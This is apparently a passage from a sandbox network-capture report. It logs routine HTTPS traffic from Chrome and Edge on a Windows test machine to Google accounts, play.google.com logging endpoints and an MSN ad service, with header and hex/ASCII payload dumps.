Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Cross-Origin-Resource-Policy: cross-origin reporting-endpoints: default="/_/AccountsDomainCookiesCheckConnectionHttp/web-reports?context=eJzj0tDikmLw0pBikPj6kkkDiJ3SZ7AGAXHSv_OsRUC8JOIi66HEi6xCPBz7ZjVuZRN48O5FL5OSXlJ-YXxmSmpeSWZJZUp-bmJmXnJ-fnZmanFxalFZalG8kYGRiYG5oYmegWl8gQEA_IUm1w" Server: ESF X-XSS-Protection: 0 X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-07-24 00:39:26 UTC	1953	IN	Data Raw: 37 36 35 34 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 63 47 4e 38 2d 6b 62 33 4c 65 43 59 77 32 72 4b 6d 4b 71 4e 47 41 22 3e 22 75 73 65 20 73 74 72 69 63 74 22 3b 74 68 69 73 2e 64 65 66 61 75 6c 74 5f 41 63 63 6f 75 6e 74 73 44 6f 6d 61 69 6e 63 6f 6f 6b 69 65 73 43 68 65 63 6b 63 6f 6e 6e 65 63 74 69 6f 6e 4a 73 3d 74 68 69 73 2e 64 65 66 61 75 6c 74 5f 41 63 63 6f 75 6e 74 73 44 6f 6d 61 69 6e 63 6f 6f 6b 69 65 73 43 68 65 63 6b 63 6f 6e 6e 65 63 74 69 6f 6e 4a 73 7c 7c 7b 7d 3b 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 3d 74 68 69 73 3b 0a 74 72 79 7b 0a 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 28 74 79 70 65 6f Data Ascii: 7654<html><head><script nonce="cGN8-kb3LeCYw2rKmKqNGA">"use strict";this.default_AccountsDomaincookiesCheckconnectionJs=this.default_AccountsDomaincookiesCheckconnectionJs\|\|{};(function(_){var window=this;try{_._F_toggles_initialize=function(a){(typeo
2024-07-24 00:39:26 UTC	1953	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 28 64 29 7b 72 65 74 75 72 6e 20 64 20 69 6e 20 62 7d 29 5d 7c 7c 22 22 7d 7d 2c 71 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 0a 66 61 28 29 3b 69 66 28 61 3d 3d 3d 22 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 22 29 7b 69 66 28 6a 61 28 29 29 69 66 28 28 61 3d 2f 72 76 3a 20 2a 28 5b 5c 64 5c 2e 5d 2a 29 2f 2e 65 78 65 63 28 62 29 29 26 26 61 5b 31 5d 29 62 3d 61 5b 31 5d 3b 65 6c 73 65 7b 61 3d 22 22 3b 76 61 72 20 63 3d 2f 4d 53 49 45 20 2b 28 5b 5c 64 5c 2e 5d 2b 29 2f 2e 65 78 65 63 28 62 29 3b 69 66 28 63 26 26 63 5b 31 5d 29 69 66 28 62 3d 2f 54 72 69 64 65 6e 74 5c 2f 28 5c 64 2e 5c 64 29 2f 2e 65 78 65 63 28 62 29 2c 63 5b 31 5d 3d 3d 22 37 2e 30 22 29 69 66 28 62 26 26 62 5b 31 5d 29 73 77 69 74 Data Ascii: function(d){return d in b})]\|\|""}},qa=function(a){var b=fa();if(a==="Internet Explorer"){if(ja())if((a=/rv: ([\d\.])/.exec(b))&&a[1])b=a[1];else{a="";var c=/MSIE +([\d\.]+)/.exec(b);if(c&&c[1])if(b=/Trident\/(\d.\d)/.exec(b),c[1]=="7.0")if(b&&b[1])swit
2024-07-24 00:39:26 UTC	1953	IN	Data Raw: 76 6f 69 64 20 30 3b 69 66 28 61 3d 3d 6e 75 6c 6c 29 7b 76 61 72 20 64 3d 39 36 3b 63 3f 28 61 3d 5b 63 5d 2c 64 7c 3d 35 31 32 29 3a 61 3d 5b 5d 3b 62 26 26 28 64 3d 64 26 2d 31 36 37 36 30 38 33 33 7c 28 62 26 31 30 32 33 29 3c 3c 31 34 29 7d 65 6c 73 65 7b 69 66 28 21 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 61 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 6e 22 29 3b 64 3d 7a 28 61 29 3b 69 66 28 64 26 32 30 34 38 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 6f 22 29 3b 69 66 28 64 26 0a 36 34 29 72 65 74 75 72 6e 20 61 3b 64 7c 3d 36 34 3b 69 66 28 63 26 26 28 64 7c 3d 35 31 32 2c 63 21 3d 3d 61 5b 30 5d 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 70 22 29 3b 61 3a 7b 63 3d 61 3b 76 61 72 20 65 3d 63 2e 6c 65 6e 67 74 68 3b 69 66 28 65 29 7b 76 61 72 Data Ascii: void 0;if(a==null){var d=96;c?(a=[c],d\|=512):a=[];b&&(d=d&-16760833\|(b&1023)<<14)}else{if(!Array.isArray(a))throw Error("n");d=z(a);if(d&2048)throw Error("o");if(d&64)return a;d\|=64;if(c&&(d\|=512,c!==a[0]))throw Error("p");a:{c=a;var e=c.length;if(e){var
2024-07-24 00:39:26 UTC	1953	IN	Data Raw: 73 74 72 75 63 74 6f 72 2e 63 61 3b 76 61 72 20 65 3d 4b 61 28 63 3f 61 2e 43 3a 62 29 3b 69 66 28 61 3d 62 2e 6c 65 6e 67 74 68 29 7b 76 61 72 20 66 3d 62 5b 61 2d 31 5d 2c 68 3d 77 61 28 66 29 3b 68 3f 61 2d 2d 3a 66 3d 76 6f 69 64 20 30 3b 65 3d 2b 21 21 28 65 26 35 31 32 29 2d 31 3b 76 61 72 20 67 3d 62 3b 69 66 28 68 29 7b 62 3a 7b 76 61 72 20 6b 3d 66 3b 76 61 72 20 6c 3d 7b 7d 3b 68 3d 21 31 3b 69 66 28 6b 29 66 6f 72 28 76 61 72 20 6d 20 69 6e 20 6b 29 69 66 28 69 73 4e 61 4e 28 2b 6d 29 29 6c 5b 6d 5d 3d 6b 5b 6d 5d 3b 65 6c 73 65 7b 76 61 72 20 71 3d 6b 5b 6d 5d 3b 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 71 29 26 26 28 41 28 71 2c 64 2c 0a 2b 6d 29 7c 7c 76 61 28 71 29 26 26 71 2e 73 69 7a 65 3d 3d 3d 30 29 26 26 28 71 3d 6e 75 6c 6c 29 3b 71 Data Ascii: structor.ca;var e=Ka(c?a.C:b);if(a=b.length){var f=b[a-1],h=wa(f);h?a--:f=void 0;e=+!!(e&512)-1;var g=b;if(h){b:{var k=f;var l={};h=!1;if(k)for(var m in k)if(isNaN(+m))l[m]=k[m];else{var q=k[m];Array.isArray(q)&&(A(q,d,+m)\|\|va(q)&&q.size===0)&&(q=null);q
2024-07-24 00:39:26 UTC	1953	IN	Data Raw: 7b 76 61 72 20 64 3d 50 61 5b 62 5b 63 5d 5d 3b 74 79 70 65 6f 66 20 64 3d 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 26 26 74 79 70 65 6f 66 20 64 2e 70 72 6f 74 6f 74 79 70 65 5b 61 5d 21 3d 22 66 75 6e 63 74 69 6f 6e 22 26 26 45 28 64 2e 70 72 6f 74 6f 74 79 70 65 2c 61 2c 7b 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 2c 77 72 69 74 61 62 6c 65 3a 21 30 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 51 61 28 4e 61 28 74 68 69 73 29 29 7d 7d 29 7d 72 65 74 75 72 6e 20 61 7d 29 3b 0a 76 61 72 20 51 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 3d 7b 6e 65 78 74 3a 61 7d 3b 61 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 7d 3b 72 65 74 75 72 6e 20 61 7d 2c 47 Data Ascii: {var d=Pa[b[c]];typeof d==="function"&&typeof d.prototype[a]!="function"&&E(d.prototype,a,{configurable:!0,writable:!0,value:function(){return Qa(Na(this))}})}return a});var Qa=function(a){a={next:a};a[Symbol.iterator]=function(){return this};return a},G
2024-07-24 00:39:26 UTC	1953	IN	Data Raw: 65 74 3d 66 75 6e 63 74 69 6f 6e 28 6b 2c 6c 29 7b 69 66 28 21 63 28 6b 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 69 22 29 3b 64 28 6b 29 3b 69 66 28 21 48 28 6b 2c 66 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 6a 60 22 2b 6b 29 3b 6b 5b 66 5d 5b 74 68 69 73 2e 67 5d 3d 6c 3b 72 65 74 75 72 6e 20 74 68 69 73 7d 3b 67 2e 70 72 6f 74 6f 74 79 70 65 2e 67 65 74 3d 66 75 6e 63 74 69 6f 6e 28 6b 29 7b 72 65 74 75 72 6e 20 63 28 6b 29 26 26 48 28 6b 2c 66 29 3f 6b 5b 66 5d 5b 74 68 69 73 2e 67 5d 3a 76 6f 69 64 20 30 7d 3b 67 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 3d 66 75 6e 63 74 69 6f 6e 28 6b 29 7b 72 65 74 75 72 6e 20 63 28 6b 29 26 26 48 28 6b 2c 66 29 26 26 48 28 6b 5b 66 5d 2c 74 68 69 73 2e 67 29 7d 3b 67 2e 70 72 6f 74 6f 74 79 70 65 2e 64 65 Data Ascii: et=function(k,l){if(!c(k))throw Error("i");d(k);if(!H(k,f))throw Error("j`"+k);k[f][this.g]=l;return this};g.prototype.get=function(k){return c(k)&&H(k,f)?k[f][this.g]:void 0};g.prototype.has=function(k){return c(k)&&H(k,f)&&H(k[f],this.g)};g.prototype.de
2024-07-24 00:39:26 UTC	1953	IN	Data Raw: 73 3b 76 61 72 20 64 3d 66 75 6e 63 74 69 6f 6e 28 67 2c 6b 29 7b 76 61 72 20 6c 3d 6b 26 26 74 79 70 65 6f 66 20 6b 3b 6c 3d 3d 22 6f 62 6a 65 63 74 22 7c 7c 6c 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 3f 62 2e 68 61 73 28 6b 29 3f 6c 3d 62 2e 67 65 74 28 6b 29 3a 28 6c 3d 22 22 2b 20 2b 2b 68 2c 62 2e 73 65 74 28 6b 2c 6c 29 29 3a 6c 3d 22 70 5f 22 2b 6b 3b 76 61 72 20 6d 3d 67 5b 30 5d 5b 6c 5d 3b 69 66 28 6d 26 26 48 28 67 5b 30 5d 2c 6c 29 29 66 6f 72 28 67 3d 30 3b 67 3c 6d 2e 6c 65 6e 67 74 68 3b 67 2b 2b 29 7b 76 61 72 20 71 3d 6d 5b 67 5d 3b 69 66 28 6b 21 3d 3d 6b 26 26 71 2e 6b 65 79 21 3d 3d 71 2e 6b 65 79 7c 7c 6b 3d 3d 3d 71 2e 6b 65 79 29 72 65 74 75 72 6e 7b 69 64 3a 6c 2c 6c 69 73 74 3a 6d 2c 69 6e 64 65 78 3a 67 2c 6c 3a 71 7d 7d 72 65 74 75 Data Ascii: s;var d=function(g,k){var l=k&&typeof k;l=="object"\|\|l=="function"?b.has(k)?l=b.get(k):(l=""+ ++h,b.set(k,l)):l="p_"+k;var m=g[0][l];if(m&&H(g[0],l))for(g=0;g<m.length;g++){var q=m[g];if(k!==k&&q.key!==q.key\|\|k===q.key)return{id:l,list:m,index:g,l:q}}retu
2024-07-24 00:39:26 UTC	1953	IN	Data Raw: 78 74 28 29 29 2e 64 6f 6e 65 3b 29 65 2e 70 75 73 68 28 63 2e 63 61 6c 6c 28 64 2c 66 2e 76 61 6c 75 65 2c 68 2b 2b 29 29 7d 65 6c 73 65 20 66 6f 72 28 66 3d 62 2e 6c 65 6e 67 74 68 2c 68 3d 30 3b 68 3c 66 3b 68 2b 2b 29 65 2e 70 75 73 68 28 63 2e 63 61 6c 6c 28 64 2c 62 5b 68 5d 2c 68 29 29 3b 72 65 74 75 72 6e 20 65 7d 7d 29 3b 76 61 72 20 5a 61 3d 5a 61 7c 7c 7b 7d 2c 72 3d 74 68 69 73 7c 7c 73 65 6c 66 2c 61 62 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 76 61 72 20 63 3d 24 61 28 22 57 49 5a 5f 67 6c 6f 62 61 6c 5f 64 61 74 61 2e 6f 78 4e 33 6e 62 22 29 3b 61 3d 63 26 26 63 5b 61 5d 3b 72 65 74 75 72 6e 20 61 21 3d 6e 75 6c 6c 3f 61 3a 62 7d 2c 49 3d 72 2e 5f 46 5f 74 6f 67 67 6c 65 73 7c 7c 5b 5d 2c 24 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 Data Ascii: xt()).done;)e.push(c.call(d,f.value,h++))}else for(f=b.length,h=0;h<f;h++)e.push(c.call(d,b[h],h));return e}});var Za=Za\|\|{},r=this\|\|self,ab=function(a,b){var c=$a("WIZ_global_data.oxN3nb");a=c&&c[a];return a!=null?a:b},I=r._F_toggles\|\|[],$a=function(a){a
2024-07-24 00:39:26 UTC	1953	IN	Data Raw: 22 3f 61 2e 73 70 6c 69 74 28 22 22 29 3a 61 2c 66 3d 30 3b 66 3c 64 3b 66 2b 2b 29 66 20 69 6e 20 65 26 26 62 2e 63 61 6c 6c 28 63 2c 65 5b 66 5d 2c 66 2c 61 29 7d 3b 76 61 72 20 63 61 3d 22 63 6f 6e 73 74 72 75 63 74 6f 72 20 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 20 69 73 50 72 6f 74 6f 74 79 70 65 4f 66 20 70 72 6f 70 65 72 74 79 49 73 45 6e 75 6d 65 72 61 62 6c 65 20 74 6f 4c 6f 63 61 6c 65 53 74 72 69 6e 67 20 74 6f 53 74 72 69 6e 67 20 76 61 6c 75 65 4f 66 22 2e 73 70 6c 69 74 28 22 20 22 29 3b 76 61 72 20 6a 62 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 63 3d 63 7c 7c 72 3b 76 61 72 20 64 3d 63 2e 6f 6e 65 72 72 6f 72 2c 65 3d 21 21 62 3b 63 2e 6f 6e 65 72 72 6f 72 3d 66 75 6e 63 74 69 6f 6e 28 66 2c 68 2c 67 2c 6b 2c 6c 29 7b 64 26 26 Data Ascii: "?a.split(""):a,f=0;f<d;f++)f in e&&b.call(c,e[f],f,a)};var ca="constructor hasOwnProperty isPrototypeOf propertyIsEnumerable toLocaleString toString valueOf".split(" ");var jb=function(a,b,c){c=c\|\|r;var d=c.onerror,e=!!b;c.onerror=function(f,h,g,k,l){d&&
2024-07-24 00:39:26 UTC	1953	IN	Data Raw: 6e 67 74 68 3b 65 2b 2b 29 7b 65 3e 30 26 26 63 2e 70 75 73 68 28 22 2c 20 22 29 3b 76 61 72 20 66 3d 64 5b 65 5d 3b 73 77 69 74 63 68 28 74 79 70 65 6f 66 20 66 29 7b 63 61 73 65 20 22 6f 62 6a 65 63 74 22 3a 66 3d 66 3f 22 6f 62 6a 65 63 74 22 3a 22 6e 75 6c 6c 22 3b 62 72 65 61 6b 3b 63 61 73 65 20 22 73 74 72 69 6e 67 22 3a 62 72 65 61 6b 3b 63 61 73 65 20 22 6e 75 6d 62 65 72 22 3a 66 3d 53 74 72 69 6e 67 28 66 29 3b 62 72 65 61 6b 3b 63 61 73 65 20 22 62 6f 6f 6c 65 61 6e 22 3a 66 3d 66 3f 22 74 72 75 65 22 3a 22 66 61 6c 73 65 22 3b 62 72 65 61 6b 3b 63 61 73 65 20 22 66 75 6e 63 74 69 6f 6e 22 3a 66 3d 28 66 3d 6c 62 28 66 29 29 3f 66 3a 22 5b 66 6e 5d 22 3b 62 72 65 61 6b 3b 64 65 66 61 75 6c 74 3a 66 3d 0a 74 79 70 65 6f 66 20 66 7d 66 2e 6c 65 Data Ascii: ngth;e++){e>0&&c.push(", ");var f=d[e];switch(typeof f){case "object":f=f?"object":"null";break;case "string":break;case "number":f=String(f);break;case "boolean":f=f?"true":"false";break;case "function":f=(f=lb(f))?f:"[fn]";break;default:f=typeof f}f.le

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49796	142.250.186.142	443	7512	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-24 00:39:27 UTC	549	OUT	OPTIONS /log?format=json&hasfast=true&authuser=0 HTTP/1.1 Host: play.google.com Connection: keep-alive Accept: / Access-Control-Request-Method: POST Access-Control-Request-Headers: x-goog-authuser Origin: https://accounts.google.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Sec-Fetch-Mode: cors Sec-Fetch-Site: same-site Sec-Fetch-Dest: empty Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-24 00:39:27 UTC	520	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://accounts.google.com Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Max-Age: 86400 Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web,authorization,origin,x-goog-authuser Content-Type: text/plain; charset=UTF-8 Date: Wed, 24 Jul 2024 00:39:27 GMT Server: Playlog Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49797	142.250.186.142	443	7512	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-24 00:39:27 UTC	549	OUT	OPTIONS /log?format=json&hasfast=true&authuser=0 HTTP/1.1 Host: play.google.com Connection: keep-alive Accept: / Access-Control-Request-Method: POST Access-Control-Request-Headers: x-goog-authuser Origin: https://accounts.google.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Sec-Fetch-Mode: cors Sec-Fetch-Site: same-site Sec-Fetch-Dest: empty Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-24 00:39:27 UTC	520	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://accounts.google.com Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Max-Age: 86400 Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web,authorization,origin,x-goog-authuser Content-Type: text/plain; charset=UTF-8 Date: Wed, 24 Jul 2024 00:39:27 GMT Server: Playlog Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49804	20.75.60.91	443	8396	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-24 00:39:28 UTC	616	OUT	GET /v4/api/selection?placement=88000360&nct=1&fmt=json&ADEFAB=1&OPSYS=WIN10&locale=en-GB&country=CH&edgeid=8684241135348538038&ACHANNEL=4&ABUILD=117.0.5938.132&poptin=0&devosver=10.0.19045.2006&clr=esdk&UITHEME=light&EPCON=0&AMAJOR=117&AMINOR=0&ABLD=5938&APATCH=132 HTTP/1.1 Host: arc.msn.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-07-24 00:39:28 UTC	633	IN	HTTP/1.1 200 OK Cache-Control: max-age=86400, private Content-Length: 2060 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"X-RADID":"P425775005-T700421790-C128000000003081789"},{"BATCH_REDIRECT_STORE":"B128000000003081789+P0+S0"},{"OPTOUTSTATE":"256"},{"REGIONALPOLICY":"0"}] Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Wed, 24 Jul 2024 00:39:27 GMT Connection: close
2024-07-24 00:39:28 UTC	2060	IN	Data Raw: 7b 22 66 22 3a 22 72 61 66 22 2c 22 76 22 3a 22 31 2e 30 22 2c 22 72 64 72 22 3a 5b 7b 22 63 22 3a 22 41 6e 61 68 65 69 6d 20 50 61 73 73 77 6f 72 64 20 4d 6f 6e 69 74 6f 72 22 2c 22 75 22 3a 22 43 6f 6e 73 65 6e 74 20 53 61 76 65 20 50 61 73 73 77 6f 72 64 22 7d 5d 2c 22 61 64 22 3a 7b 22 54 49 54 4c 45 5f 53 41 56 45 22 3a 22 53 61 76 65 20 79 6f 75 72 20 70 61 73 73 77 6f 72 64 22 2c 22 54 49 54 4c 45 5f 55 50 44 41 54 45 22 3a 22 53 61 76 65 20 79 6f 75 72 20 70 61 73 73 77 6f 72 64 22 2c 22 54 49 54 4c 45 5f 53 41 56 45 44 5f 50 41 53 53 57 4f 52 44 22 3a 22 53 61 76 65 20 79 6f 75 72 20 70 61 73 73 77 6f 72 64 22 2c 22 54 49 54 4c 45 5f 4e 4f 5f 53 41 56 45 44 5f 50 41 53 53 57 4f 52 44 22 3a 22 53 61 76 65 20 79 6f 75 72 20 70 61 73 73 77 6f 72 64 Data Ascii: {"f":"raf","v":"1.0","rdr":[{"c":"Anaheim Password Monitor","u":"Consent Save Password"}],"ad":{"TITLE_SAVE":"Save your password","TITLE_UPDATE":"Save your password","TITLE_SAVED_PASSWORD":"Save your password","TITLE_NO_SAVED_PASSWORD":"Save your password

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49814	142.250.186.142	443	7512	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-24 00:39:28 UTC	1124	OUT	POST /log?format=json&hasfast=true&authuser=0 HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 510 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" Content-Type: application/x-www-form-urlencoded;charset=UTF-8 sec-ch-ua-full-version: "117.0.5938.132" sec-ch-ua-platform-version: "10.0.0" X-Goog-AuthUser: 0 sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-wow64: ?0 sec-ch-ua-platform: "Windows" Accept: / Origin: https://accounts.google.com X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-24 00:39:28 UTC	510	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 22 65 6e 22 2c 6e 75 6c 6c 2c 22 32 32 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 31 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 31 38 32 38 2c 5b 5b 22 31 37 32 31 37 38 31 35 36 35 38 30 35 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,"en",null,"22",null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[1,0,0,0,0]]],1828,[["1721781565805",null,null,null
2024-07-24 00:39:28 UTC	925	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://accounts.google.com Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Set-Cookie: NID=516=d8SaBr6tapV7MEQHPKukUvDTcJDE7viUhrIUckics3vHbwGKUmBO8BwUxD6A12lCGp_rBDj18rmCg_FIsh3EuVS3eHvJkr0_rSSOtvMKBHA06BgnwU2aqWlUMC5VoaIS_sO3PVXHUHReugKN0TNw_1OZ-Kp9O8V4ISKhZ6fr3oI; expires=Thu, 23-Jan-2025 00:39:28 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Type: text/plain; charset=UTF-8 Date: Wed, 24 Jul 2024 00:39:28 GMT Server: Playlog Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Expires: Wed, 24 Jul 2024 00:39:28 GMT Connection: close Transfer-Encoding: chunked
2024-07-24 00:39:28 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-07-24 00:39:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49816	142.250.186.142	443	7512	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-24 00:39:28 UTC	1124	OUT	POST /log?format=json&hasfast=true&authuser=0 HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 522 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" Content-Type: application/x-www-form-urlencoded;charset=UTF-8 sec-ch-ua-full-version: "117.0.5938.132" sec-ch-ua-platform-version: "10.0.0" X-Goog-AuthUser: 0 sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-wow64: ?0 sec-ch-ua-platform: "Windows" Accept: / Origin: https://accounts.google.com X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
